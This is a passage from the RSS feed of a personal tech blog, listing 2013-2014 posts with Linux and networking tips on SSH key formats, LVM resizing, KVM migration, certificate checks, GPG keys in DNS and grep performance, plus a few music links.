  7332.    <description><![CDATA[<p><a href="https://web.archive.org/web/20160818210307/http://stopbuepf.ch/" title="Stop BÜPF! (archive.org)"><img src="https://blog.x-way.org/images/stopbuepf.png" width="300" height="168" alt="Stop BÜPF!"></a></p>
  7333. ]]></description>
  7334.    <content:encoded><![CDATA[<p><a href="https://web.archive.org/web/20160818210307/http://stopbuepf.ch/" title="Stop BÜPF! (archive.org)"><img src="https://blog.x-way.org/images/stopbuepf.png" width="300" height="168" alt="Stop BÜPF!"></a></p>
  7335. ]]></content:encoded>
  7336.  </item>
  7337.  
  7338.  <item>
  7339.    <title>Load PKCS#8 SSH key files in Mac OS X 10.9</title>
  7340.    <link>https://blog.x-way.org/Networking/2014/04/18/Load-PKCS8-SSH-key-files-in-Mac-OS-X-10-9.html</link>
  7341.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324217</guid>
  7342.    <dc:creator>Andreas Jaggi</dc:creator>
  7343.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  7344.    <pubDate>Fri, 18 Apr 2014 14:36:00 +0200</pubDate>
  7345.    <category domain="https://blog.x-way.org/Networking/">Networking</category>
  7346.    <description><![CDATA[<p>There is currently a bug in Mac OS X 10.9 which causes that ssh-add is no longer able to read SSH key files in PKCS#8 format.</p>
  7347. <p>Fortunately ssh-add still reads PKCS#8 keys when provided through STDIN and openssl is able to decrypt PKCS#8 keys.</p>
  7348. <p>Thus the following workaround so that PKCS#8 SSH keys can be loaded again:</p>
  7349. <pre>
  7350. openssl pkcs8 -in ~/.ssh/id_rsa | ssh-add -
  7351. </pre>
  7352. ]]></description>
  7353.    <content:encoded><![CDATA[<p>There is currently a bug in Mac OS X 10.9 which causes that ssh-add is no longer able to read SSH key files in PKCS#8 format.</p>
  7354. <p>Fortunately ssh-add still reads PKCS#8 keys when provided through STDIN and openssl is able to decrypt PKCS#8 keys.</p>
  7355. <p>Thus the following workaround so that PKCS#8 SSH keys can be loaded again:</p>
  7356. <pre>
  7357. openssl pkcs8 -in ~/.ssh/id_rsa | ssh-add -
  7358. </pre>
  7359. ]]></content:encoded>
  7360.  </item>
  7361.  
  7362.  <item>
  7363.    <title>Facebook: The Road To IPv6</title>
  7364.    <link>https://blog.x-way.org/Networking/2014/03/23/Facebook-The-Road-To-IPv6.html</link>
  7365.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324216</guid>
  7366.    <dc:creator>Andreas Jaggi</dc:creator>
  7367.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  7368.    <pubDate>Sun, 23 Mar 2014 15:09:00 +0100</pubDate>
  7369.    <category domain="https://blog.x-way.org/Networking/">Networking</category>
  7370.    <description><![CDATA[<p>Great presentation by <a href="https://www.facebook.com/ps" title="Paul Saab | Facebook">Paul Saab</a> about the IPv6 introduction at Facebook: <a href="https://blog.x-way.org/stuff/Paul.Saab.Facebook.The.Road.To.IPv6.pdf" title="Paul Saab - Facebook: The Road To IPv6">The Road To IPv6</a></p>
  7371. <p>(<a href="https://news.ycombinator.com/item?id=7448752" title="Hacker News">via</a>)</p>
  7372. ]]></description>
  7373.    <content:encoded><![CDATA[<p>Great presentation by <a href="https://www.facebook.com/ps" title="Paul Saab | Facebook">Paul Saab</a> about the IPv6 introduction at Facebook: <a href="https://blog.x-way.org/stuff/Paul.Saab.Facebook.The.Road.To.IPv6.pdf" title="Paul Saab - Facebook: The Road To IPv6">The Road To IPv6</a></p>
  7374. <p>(<a href="https://news.ycombinator.com/item?id=7448752" title="Hacker News">via</a>)</p>
  7375. ]]></content:encoded>
  7376.  </item>
  7377.  
  7378.  <item>
  7379.    <title>Moving a KVM guest to another machine</title>
  7380.    <link>https://blog.x-way.org/Linux/2014/02/13/Moving-a-KVM-guest-to-another-machine.html</link>
  7381.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324214</guid>
  7382.    <dc:creator>Andreas Jaggi</dc:creator>
  7383.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  7384.    <pubDate>Thu, 13 Feb 2014 20:02:00 +0100</pubDate>
  7385.    <category domain="https://blog.x-way.org/Linux/">Linux</category>
  7386.    <description><![CDATA[<ol>
  7387. <li>Properly shutdown the guest: <pre>guest# poweroff</pre></li>
  7388. <li>Create an LVM volume of the same size on the new machine: <pre>newmachine# lvcreate -L 120G -n myguest myvolgroup</pre></li>
  7389. <li>Copy the disk from the old machine over to the new one: <pre>oldmachine# dd if=/dev/vg_foo/lv_bar | ssh newmachine dd of=/dev/volgroup/myguest</pre></li>
  7390. <li>Wait for the transfer to complete (on a 100Mbit/s connection it took about 3.5 hours to transfer the 120GB).</li>
  7391. <li>Copy /etc/libvirt/qemu/myguest.xml from the old machine over to the new machine and adapt the LVM path for the disk.</li>
  7392. <li>Reload the libvirt configuration: <pre>newmachine# /etc/init.d/libvirt-bin reload</pre></li>
  7393. <li>Start up the guest on the new machine: <pre>newmachine# virsh start myguest</pre></li>
  7394. </ol>
  7395. ]]></description>
  7396.    <content:encoded><![CDATA[<ol>
  7397. <li>Properly shutdown the guest: <pre>guest# poweroff</pre></li>
  7398. <li>Create an LVM volume of the same size on the new machine: <pre>newmachine# lvcreate -L 120G -n myguest myvolgroup</pre></li>
  7399. <li>Copy the disk from the old machine over to the new one: <pre>oldmachine# dd if=/dev/vg_foo/lv_bar | ssh newmachine dd of=/dev/volgroup/myguest</pre></li>
  7400. <li>Wait for the transfer to complete (on a 100Mbit/s connection it took about 3.5 hours to transfer the 120GB).</li>
  7401. <li>Copy /etc/libvirt/qemu/myguest.xml from the old machine over to the new machine and adapt the LVM path for the disk.</li>
  7402. <li>Reload the libvirt configuration: <pre>newmachine# /etc/init.d/libvirt-bin reload</pre></li>
  7403. <li>Start up the guest on the new machine: <pre>newmachine# virsh start myguest</pre></li>
  7404. </ol>
  7405. ]]></content:encoded>
  7406.  </item>
  7407.  
  7408.  <item>
  7409.    <title>Shrinking a LVM root partition</title>
  7410.    <link>https://blog.x-way.org/Linux/2014/02/13/Shrinking-a-LVM-root-partition.html</link>
  7411.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324215</guid>
  7412.    <dc:creator>Andreas Jaggi</dc:creator>
  7413.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  7414.    <pubDate>Thu, 13 Feb 2014 19:02:00 +0100</pubDate>
  7415.    <category domain="https://blog.x-way.org/Linux/">Linux</category>
  7416.    <description><![CDATA[<ol>
  7417. <li>Boot from a helper system and get a root shell (I used the rescue mode of the Debian installer)</li>
  7418. <li>Check the filesystem of the partition to resize: <pre>e2fsck -f /dev/vg_foo/lv_bar</pre></li>
  7419. <li>Resize the filesystem (make it a bit smaller than the target size, to have a safety margin when resizing the logical volume): <pre>resize2fs /dev/vg_foo/lv_bar 180G</pre></li>
  7420. <li>Reduce size of the logical volume: <pre>lvreduce -L 190G /dev/vg_foo/lv_bar</pre></li>
  7421. <li>Grow the filesystem to the new size of the logical volume: <pre>resize2fs /dev/vg_foo/lv_bar</pre></li>
  7422. <li>For good measure run another filesystem check: <pre>e2fsck -f /dev/vg_foo/lv_bar</pre></li>
  7423. </ol>
  7424. ]]></description>
  7425.    <content:encoded><![CDATA[<ol>
  7426. <li>Boot from a helper system and get a root shell (I used the rescue mode of the Debian installer)</li>
  7427. <li>Check the filesystem of the partition to resize: <pre>e2fsck -f /dev/vg_foo/lv_bar</pre></li>
  7428. <li>Resize the filesystem (make it a bit smaller than the target size, to have a safety margin when resizing the logical volume): <pre>resize2fs /dev/vg_foo/lv_bar 180G</pre></li>
  7429. <li>Reduce size of the logical volume: <pre>lvreduce -L 190G /dev/vg_foo/lv_bar</pre></li>
  7430. <li>Grow the filesystem to the new size of the logical volume: <pre>resize2fs /dev/vg_foo/lv_bar</pre></li>
  7431. <li>For good measure run another filesystem check: <pre>e2fsck -f /dev/vg_foo/lv_bar</pre></li>
  7432. </ol>
  7433. ]]></content:encoded>
  7434.  </item>
  7435.  
  7436.  <item>
  7437.    <title>Verify that an SSL certificate matches the private key</title>
  7438.    <link>https://blog.x-way.org/Networking/2014/01/19/Verify-that-an-SSL-certificate-matches-the-private-key.html</link>
  7439.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324213</guid>
  7440.    <dc:creator>Andreas Jaggi</dc:creator>
  7441.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  7442.    <pubDate>Sun, 19 Jan 2014 13:32:00 +0100</pubDate>
  7443.    <category domain="https://blog.x-way.org/Networking/">Networking</category>
  7444.    <description><![CDATA[<p>When renewing certificates it is a good idea to verify that the newly installed SSL certificate matches the newly installed private key (eg. to make sure no mixup between the new and old files occurred).<br>This can be done by comparing the modulus of the two files:</p>
  7445. <pre>openssl x509 -in &lt;certificatefile&gt; -noout -modulus|sha1sum
  7446. openssl rsa -in &lt;privatekeyfile&gt; -noout -modulus|sha1sum</pre>
  7447. ]]></description>
  7448.    <content:encoded><![CDATA[<p>When renewing certificates it is a good idea to verify that the newly installed SSL certificate matches the newly installed private key (eg. to make sure no mixup between the new and old files occurred).<br>This can be done by comparing the modulus of the two files:</p>
  7449. <pre>openssl x509 -in &lt;certificatefile&gt; -noout -modulus|sha1sum
  7450. openssl rsa -in &lt;privatekeyfile&gt; -noout -modulus|sha1sum</pre>
  7451. ]]></content:encoded>
  7452.  </item>
  7453.  
  7454.  <item>
  7455.    <title>Sipura/Linksys/Cisco SPA901 Provisioning and Upgrade</title>
  7456.    <link>https://blog.x-way.org/Networking/2014/01/12/Sipura-Linksys-Cisco-SPA901-Provisioning-and-Upgrade.html</link>
  7457.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324212</guid>
  7458.    <dc:creator>Andreas Jaggi</dc:creator>
  7459.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  7460.    <pubDate>Sun, 12 Jan 2014 21:02:00 +0100</pubDate>
  7461.    <category domain="https://blog.x-way.org/Networking/">Networking</category>
  7462.    <description><![CDATA[<p>Loading the configuration from http://config.server/configfile.xml (provisioning has to be enabled on the phone):</p>
  7463. <pre>http://&lt;PHONEIP&gt;/admin/resync?http://config.server/configfile.xml</pre>
  7464. <p>Upgrading the firmware with the image from http://upgrade.server/firmware.bin:</p>
  7465. <pre>http://&lt;PHONEIP&gt;/upgrade?http://upgrade.server/firmware.bin</pre>
  7466. ]]></description>
  7467.    <content:encoded><![CDATA[<p>Loading the configuration from http://config.server/configfile.xml (provisioning has to be enabled on the phone):</p>
  7468. <pre>http://&lt;PHONEIP&gt;/admin/resync?http://config.server/configfile.xml</pre>
  7469. <p>Upgrading the firmware with the image from http://upgrade.server/firmware.bin:</p>
  7470. <pre>http://&lt;PHONEIP&gt;/upgrade?http://upgrade.server/firmware.bin</pre>
  7471. ]]></content:encoded>
  7472.  </item>
  7473.  
  7474.  <item>
  7475.    <title>Publish GPG Keys in DNS</title>
  7476.    <link>https://blog.x-way.org/Networking/2014/01/01/Publish-GPG-Keys-in-DNS.html</link>
  7477.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324211</guid>
  7478.    <dc:creator>Andreas Jaggi</dc:creator>
  7479.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  7480.    <pubDate>Wed, 01 Jan 2014 13:52:00 +0100</pubDate>
  7481.    <category domain="https://blog.x-way.org/Networking/">Networking</category>
  7482.    <description><![CDATA[<p>Create the PKA DNS record:</p>
  7483. <pre># <b>localpart=andreas domain=jaggi.info url=http://andreas-jaggi.ch/1C6AC951.asc</b>
  7484. # <b>LANG=C gpg --fingerprint ${localpart}@${domain}|awk -v local=$localpart -v domain=$domain -v url=$url \
  7485. '/fingerprint/{printf("%s._pka.%s. TXT \"v=pka1;fpr=%s;uri=%s\"\n",local,domain,$4$5$6$7$8$9$10$11$12$13,url)}'</b>
  7486. andreas._pka.jaggi.info. TXT "v=pka1;fpr=1073501542F38352FC85788207A32EAB1C6AC951;uri=http://andreas-jaggi.ch/1C6AC951.asc"</pre>
  7487. <p>Test DNS resolution:</p>
  7488. <pre># <b>dig +short -t txt andreas._pka.jaggi.info.</b>
  7489. "v=pka1\;fpr=1388580990F38352FC85788207A32EAB1C6AC951\;uri=http://andreas-jaggi.ch/1C6AC951.asc"</pre>
  7490. <p>Test with GPG:</p>
  7491. <pre># <b>gpg --auto-key-locate pka -ea -r ${localpart}@${domain}</b></pre>
  7492. <p>
  7493. Detailed explanation of the different DNS publication mechanisms for PGP Keys:<br><a href="http://www.gushi.org/make-dns-cert/HOWTO.html" title="Publishing PGP Keys in DNS">Publishing PGP Keys in DNS</a></p>
  7494. <p>(<a href="https://grepular.com/Publishing_PGP_Keys_in_the_DNS" title="">via</a>)</p>
  7495. ]]></description>
  7496.    <content:encoded><![CDATA[<p>Create the PKA DNS record:</p>
  7497. <pre># <b>localpart=andreas domain=jaggi.info url=http://andreas-jaggi.ch/1C6AC951.asc</b>
  7498. # <b>LANG=C gpg --fingerprint ${localpart}@${domain}|awk -v local=$localpart -v domain=$domain -v url=$url \
  7499. '/fingerprint/{printf("%s._pka.%s. TXT \"v=pka1;fpr=%s;uri=%s\"\n",local,domain,$4$5$6$7$8$9$10$11$12$13,url)}'</b>
  7500. andreas._pka.jaggi.info. TXT "v=pka1;fpr=1073501542F38352FC85788207A32EAB1C6AC951;uri=http://andreas-jaggi.ch/1C6AC951.asc"</pre>
  7501. <p>Test DNS resolution:</p>
  7502. <pre># <b>dig +short -t txt andreas._pka.jaggi.info.</b>
  7503. "v=pka1\;fpr=1388580990F38352FC85788207A32EAB1C6AC951\;uri=http://andreas-jaggi.ch/1C6AC951.asc"</pre>
  7504. <p>Test with GPG:</p>
  7505. <pre># <b>gpg --auto-key-locate pka -ea -r ${localpart}@${domain}</b></pre>
  7506. <p>
  7507. Detailed explanation of the different DNS publication mechanisms for PGP Keys:<br><a href="http://www.gushi.org/make-dns-cert/HOWTO.html" title="Publishing PGP Keys in DNS">Publishing PGP Keys in DNS</a></p>
  7508. <p>(<a href="https://grepular.com/Publishing_PGP_Keys_in_the_DNS" title="">via</a>)</p>
  7509. ]]></content:encoded>
  7510.  </item>
  7511.  
  7512.  <item>
  7513.    <title>Improve the security of your SSH private key files with PKCS#8</title>
  7514.    <link>https://blog.x-way.org/Networking/2013/12/29/Improve-the-security-of-your-SSH-private-key-files-with-PKCS8.html</link>
  7515.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324210</guid>
  7516.    <dc:creator>Andreas Jaggi</dc:creator>
  7517.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  7518.    <pubDate>Sun, 29 Dec 2013 15:23:00 +0100</pubDate>
  7519.    <category domain="https://blog.x-way.org/Networking/">Networking</category>
  7520.    <description><![CDATA[<p>Instead of the easily brute-forceable one-pass MD5/AES128 password protection format used by SSH per default, you should use the <a href="https://www.rfc-editor.org/rfc/rfc5208.html" title="RFC 5208 - PKCS#8: Private-Key Information Syntax Specification Version 1.2">PKCS#8</a> format to store your private key files. PKCS#8 allows to choose proper key-derivation functions and encryption schemes (for example <a href="http://en.wikipedia.org/wiki/PBKDF2" title="Password-Based Key Derivation Function 2">PBKDF2</a> and <a href="https://www.rfc-editor.org/rfc/rfc2898.html#section-6.2" title="Password-Based Encryption Scheme 2">PBES2</a>).<br>
  7521. The following commands convert an existing password protected SSH private key file to PKCS#8 format (using PBKDF2, PBES2 and AES-256):</p>
  7522. <pre>
  7523. mv ~/.ssh/id_rsa{,.old}
  7524. openssl pkcs8 -topk8 -v2 aes256 -in ~/.ssh/id_rsa.old -out ~/.ssh/id_rsa
  7525. chmod 600 ~/.ssh/id_rsa
  7526. rm ~/.ssh/id_rsa.old
  7527. </pre>
  7528. <p>(via <a href="http://martin.kleppmann.com/2013/05/24/improving-security-of-ssh-private-keys.html" title="Improving the security of your SSH private key files - Martin Kleppmann's blog">Martin Kleppmann</a>)</p>
  7529. ]]></description>
  7530.    <content:encoded><![CDATA[<p>Instead of the easily brute-forceable one-pass MD5/AES128 password protection format used by SSH per default, you should use the <a href="https://www.rfc-editor.org/rfc/rfc5208.html" title="RFC 5208 - PKCS#8: Private-Key Information Syntax Specification Version 1.2">PKCS#8</a> format to store your private key files. PKCS#8 allows to choose proper key-derivation functions and encryption schemes (for example <a href="http://en.wikipedia.org/wiki/PBKDF2" title="Password-Based Key Derivation Function 2">PBKDF2</a> and <a href="https://www.rfc-editor.org/rfc/rfc2898.html#section-6.2" title="Password-Based Encryption Scheme 2">PBES2</a>).<br>
  7531. The following commands convert an existing password protected SSH private key file to PKCS#8 format (using PBKDF2, PBES2 and AES-256):</p>
  7532. <pre>
  7533. mv ~/.ssh/id_rsa{,.old}
  7534. openssl pkcs8 -topk8 -v2 aes256 -in ~/.ssh/id_rsa.old -out ~/.ssh/id_rsa
  7535. chmod 600 ~/.ssh/id_rsa
  7536. rm ~/.ssh/id_rsa.old
  7537. </pre>
  7538. <p>(via <a href="http://martin.kleppmann.com/2013/05/24/improving-security-of-ssh-private-keys.html" title="Improving the security of your SSH private key files - Martin Kleppmann's blog">Martin Kleppmann</a>)</p>
  7539. ]]></content:encoded>
  7540.  </item>
  7541.  
  7542.  <item>
  7543.    <title>Make grep 50x faster</title>
  7544.    <link>https://blog.x-way.org/Linux/2013/12/15/Make-grep-50x-faster.html</link>
  7545.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324209</guid>
  7546.    <dc:creator>Andreas Jaggi</dc:creator>
  7547.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  7548.    <pubDate>Sun, 15 Dec 2013 14:33:00 +0100</pubDate>
  7549.    <category domain="https://blog.x-way.org/Linux/">Linux</category>
  7550.    <description><![CDATA[<p>
  7551. Found this neat trick in Brendan Gregg's <a href="https://www.usenix.org/conference/lisa13/data-engineering-complex-systems" title="Blazing Performance with Flame Graphs">Blazing Performance with Flame Graphs</a> talk.
  7552. </p>
  7553.  
  7554. <blockquote><p>Switching to LANG=C improved performance by <strong>2000x</strong></p></blockquote>
  7555.  
  7556. <p>
  7557. In a quick test I directly got a performance gain of factor <strong>50.22</strong>.<br>
  7558. This is quite an achievement for only changing one environment variable.
  7559. </p>
  7560.  
  7561. <pre>
  7562. real:~# du -sh /var/log/querylog
  7563. 148M /var/log/querylog
  7564. real:~# time grep -i e /var/log/querylog &gt; /dev/null
  7565.  
  7566. real 0m12.807s
  7567. user 0m12.437s
  7568. sys 0m0.068s
  7569. real:~# time LANG=C grep -i e /var/log/querylog &gt; /dev/null
  7570.  
  7571. real 0m0.255s
  7572. user 0m0.196s
  7573. sys 0m0.052s
  7574. </pre>
  7575.  
  7576. <p>
  7577. I suspect that the performance gain may vary quite a lot depending on the search pattern.
  7578. Also, please note that this trick only works when you know that the involved files and search patterns are ASCII only.
  7579. </p>
  7580. <p>(via <a href="http://www.standalone-sysadmin.com/blog/2013/11/lisa13-conference-review-overview-thing/" title="LISA13 Conference Review / Overview Thing | Standalone Sysadmin">Standalone Sysadmin</a>)</p>
  7581. ]]></description>
  7582.    <content:encoded><![CDATA[<p>
  7583. Found this neat trick in Brendan Gregg's <a href="https://www.usenix.org/conference/lisa13/data-engineering-complex-systems" title="Blazing Performance with Flame Graphs">Blazing Performance with Flame Graphs</a> talk.
  7584. </p>
  7585.  
  7586. <blockquote><p>Switching to LANG=C improved performance by <strong>2000x</strong></p></blockquote>
  7587.  
  7588. <p>
  7589. In a quick test I directly got a performance gain of factor <strong>50.22</strong>.<br>
  7590. This is quite an achievement for only changing one environment variable.
  7591. </p>
  7592.  
  7593. <pre>
  7594. real:~# du -sh /var/log/querylog
  7595. 148M /var/log/querylog
  7596. real:~# time grep -i e /var/log/querylog &gt; /dev/null
  7597.  
  7598. real 0m12.807s
  7599. user 0m12.437s
  7600. sys 0m0.068s
  7601. real:~# time LANG=C grep -i e /var/log/querylog &gt; /dev/null
  7602.  
  7603. real 0m0.255s
  7604. user 0m0.196s
  7605. sys 0m0.052s
  7606. </pre>
  7607.  
  7608. <p>
  7609. I suspect that the performance gain may vary quite a lot depending on the search pattern.
  7610. Also, please note that this trick only works when you know that the involved files and search patterns are ASCII only.
  7611. </p>
  7612. <p>(via <a href="http://www.standalone-sysadmin.com/blog/2013/11/lisa13-conference-review-overview-thing/" title="LISA13 Conference Review / Overview Thing | Standalone Sysadmin">Standalone Sysadmin</a>)</p>
  7613. ]]></content:encoded>
  7614.  </item>
  7615.  
  7616.  <item>
  7617.    <title>WOODKID</title>
  7618.    <link>https://blog.x-way.org/Music/2013/12/01/WOODKID.html</link>
  7619.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324208</guid>
  7620.    <dc:creator>Andreas Jaggi</dc:creator>
  7621.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  7622.    <pubDate>Sun, 01 Dec 2013 12:36:00 +0100</pubDate>
  7623.    <category domain="https://blog.x-way.org/Music/">Music</category>
  7624.    <description><![CDATA[<p>Another nice discovery from <a href="http://www.metropop.ch/" title="Metropop Festival Lausanne">Metropop</a>: <a href="http://www.woodkid.com/" title="WOODKID">WOODKID</a></p>
  7625. <p><a href="https://youtu.be/lmc21V-zBq0" title="Woodkid - Run Boy Run - YouTube">Woodkid - Run Boy Run</a></p>
  7626.  
  7627. ]]></description>
  7628.    <content:encoded><![CDATA[<p>Another nice discovery from <a href="http://www.metropop.ch/" title="Metropop Festival Lausanne">Metropop</a>: <a href="http://www.woodkid.com/" title="WOODKID">WOODKID</a></p>
  7629. <p><a href="https://youtu.be/lmc21V-zBq0" title="Woodkid - Run Boy Run - YouTube">Woodkid - Run Boy Run</a></p>
  7630.  
  7631. ]]></content:encoded>
  7632.  </item>
  7633.  
  7634.  <item>
  7635.    <title>Major Look - Too Late</title>
  7636.    <link>https://blog.x-way.org/Music/2013/08/21/Major-Look-Too-Late.html</link>
  7637.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324207</guid>
  7638.    <dc:creator>Andreas Jaggi</dc:creator>
  7639.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  7640.    <pubDate>Wed, 21 Aug 2013 06:15:00 +0200</pubDate>
  7641.    <category domain="https://blog.x-way.org/Music/">Music</category>
  7642.    <description><![CDATA[<p><a href="https://youtu.be/rBpeOlFdES4" title="Major Look - Too Late - YouTube">Major Look - Too Late</a></p>
  7643. ]]></description>
  7644.    <content:encoded><![CDATA[<p><a href="https://youtu.be/rBpeOlFdES4" title="Major Look - Too Late - YouTube">Major Look - Too Late</a></p>
  7645. ]]></content:encoded>
  7646.  </item>
  7647.  
  7648.  <item>
  7649.    <title>Mandatory requirement for all non IPv6 capable products</title>
  7650.    <link>https://blog.x-way.org/Networking/2013/07/05/Mandatory-requirement-for-all-non-IPv6-capable-products.html</link>
  7651.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324206</guid>
  7652.    <dc:creator>Andreas Jaggi</dc:creator>
  7653.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  7654.    <pubDate>Fri, 05 Jul 2013 09:37:00 +0200</pubDate>
  7655.    <category domain="https://blog.x-way.org/Networking/">Networking</category>
  7656.    <description><![CDATA[<p><img src="https://blog.x-way.org/images/legacy-ip-only.svg" alt="IPv4 only"></p>
  7657. <p>(via <a href="https://web.archive.org/web/20160506160448/http://blog.quux.de/?p=1677" title="Jens' BLOG (archive.org)">blog.quux.de</a>)</p>
  7658. ]]></description>
  7659.    <content:encoded><![CDATA[<p><img src="https://blog.x-way.org/images/legacy-ip-only.svg" alt="IPv4 only"></p>
  7660. <p>(via <a href="https://web.archive.org/web/20160506160448/http://blog.quux.de/?p=1677" title="Jens' BLOG (archive.org)">blog.quux.de</a>)</p>
  7661. ]]></content:encoded>
  7662.  </item>
  7663.  
  7664.  <item>
  7665.    <title>Run your own DynDNS server</title>
  7666.    <link>https://blog.x-way.org/Networking/2013/06/01/Run-your-own-DynDNS-server.html</link>
  7667.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324205</guid>
  7668.    <dc:creator>Andreas Jaggi</dc:creator>
  7669.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  7670.    <pubDate>Sat, 01 Jun 2013 21:11:00 +0200</pubDate>
  7671.    <category domain="https://blog.x-way.org/Networking/">Networking</category>
  7672.    <description><![CDATA[<p>After receiving yet another 'please login and click through our captcha for no reason' e-mail from a DynDNS provider, I decided to run my own DynDNS server.</p>
  7673. <p>As I already run my own DNS servers, this was just a matter of adding a dynamically updateable zone and writing a script which receives the IP change request via HTTP and sends out a DNS update.<br>
  7674. Luckily the <a href="http://dyn.com/support/developers/api/perform-update/" title="Perform Update - Dyn">DynDNS API</a> is quite well documented and I quickly came up with the PHP code below which performs the task well enough for me. Feel free to use it to run your own DynDNS server.</p>
  7675. <p>PS: to any friends reading this and looking for a DynDNS service: drop me a message and I'll set you up with an account.</p>
  7676. <script src="https://gist.github.com/x-way/5691358.js"></script>
  7677. ]]></description>
  7678.    <content:encoded><![CDATA[<p>After receiving yet another 'please login and click through our captcha for no reason' e-mail from a DynDNS provider, I decided to run my own DynDNS server.</p>
  7679. <p>As I already run my own DNS servers, this was just a matter of adding a dynamically updateable zone and writing a script which receives the IP change request via HTTP and sends out a DNS update.<br>
  7680. Luckily the <a href="http://dyn.com/support/developers/api/perform-update/" title="Perform Update - Dyn">DynDNS API</a> is quite well documented and I quickly came up with the PHP code below which performs the task well enough for me. Feel free to use it to run your own DynDNS server.</p>
  7681. <p>PS: to any friends reading this and looking for a DynDNS service: drop me a message and I'll set you up with an account.</p>
  7682. <script src="https://gist.github.com/x-way/5691358.js"></script>
  7683. ]]></content:encoded>
  7684.  </item>
  7685.  
  7686.  <item>
  7687.    <title>glue_records.sh</title>
  7688.    <link>https://blog.x-way.org/Networking/2013/05/28/glue_records-sh.html</link>
  7689.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324204</guid>
  7690.    <dc:creator>Andreas Jaggi</dc:creator>
  7691.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  7692.    <pubDate>Tue, 28 May 2013 18:37:00 +0200</pubDate>
  7693.    <category domain="https://blog.x-way.org/Networking/">Networking</category>
  7694.    <description><![CDATA[<p>Get the <a href="http://en.wikipedia.org/wiki/Glue_record#Circular_dependencies_and_glue_records" title="Domain Name System - Wikipedia">glue records</a> for a given domain:</p>
  7695. <script src="https://gist.github.com/x-way/5661355.js"></script>
  7696. ]]></description>
  7697.    <content:encoded><![CDATA[<p>Get the <a href="http://en.wikipedia.org/wiki/Glue_record#Circular_dependencies_and_glue_records" title="Domain Name System - Wikipedia">glue records</a> for a given domain:</p>
  7698. <script src="https://gist.github.com/x-way/5661355.js"></script>
  7699. ]]></content:encoded>
  7700.  </item>
  7701.  
  7702.  <item>
  7703.    <title>update_serials.sh</title>
  7704.    <link>https://blog.x-way.org/Networking/2013/05/26/update_serials-sh.html</link>
  7705.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324203</guid>
  7706.    <dc:creator>Andreas Jaggi</dc:creator>
  7707.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  7708.    <pubDate>Sun, 26 May 2013 08:29:00 +0200</pubDate>
  7709.    <category domain="https://blog.x-way.org/Networking/">Networking</category>
  7710.    <description><![CDATA[<p>Update the serial number in BIND zone files with the current unix timestamp.</p>
  7711. <script src="https://gist.github.com/x-way/5651802.js"></script>
  7712. ]]></description>
  7713.    <content:encoded><![CDATA[<p>Update the serial number in BIND zone files with the current unix timestamp.</p>
  7714. <script src="https://gist.github.com/x-way/5651802.js"></script>
  7715. ]]></content:encoded>
  7716.  </item>
  7717.  
  7718.  <item>
  7719.    <title>less with colors</title>
  7720.    <link>https://blog.x-way.org/Linux/2013/05/25/less-with-colors.html</link>
  7721.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324202</guid>
  7722.    <dc:creator>Andreas Jaggi</dc:creator>
  7723.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  7724.    <pubDate>Sat, 25 May 2013 19:29:00 +0200</pubDate>
  7725.    <category domain="https://blog.x-way.org/Linux/">Linux</category>
  7726.    <description><![CDATA[<p>For a long time it annoyed me every time that less only showed ASCII codes instead of colors when piping some 'color-enabled' output into it.</p>
  7727. <p>Turns out there is an easy fix for that:</p>
  7728. <pre>colordiff a/foo b/foo | less -R</pre>
  7729. <p>Thanks to <a href="http://major.io/2013/05/21/handling-terminal-color-escape-sequences-in-less/" title="Handling terminal color escape sequences in less | major.io">Major Hayden</a> for this very useful tip!</p>
  7730. ]]></description>
  7731.    <content:encoded><![CDATA[<p>For a long time it annoyed me every time that less only showed ASCII codes instead of colors when piping some 'color-enabled' output into it.</p>
  7732. <p>Turns out there is an easy fix for that:</p>
  7733. <pre>colordiff a/foo b/foo | less -R</pre>
  7734. <p>Thanks to <a href="http://major.io/2013/05/21/handling-terminal-color-escape-sequences-in-less/" title="Handling terminal color escape sequences in less | major.io">Major Hayden</a> for this very useful tip!</p>
  7735. ]]></content:encoded>
  7736.  </item>
  7737.  
  7738.  <item>
  7739.    <title>Howto generate DH parameters for OpenVPN</title>
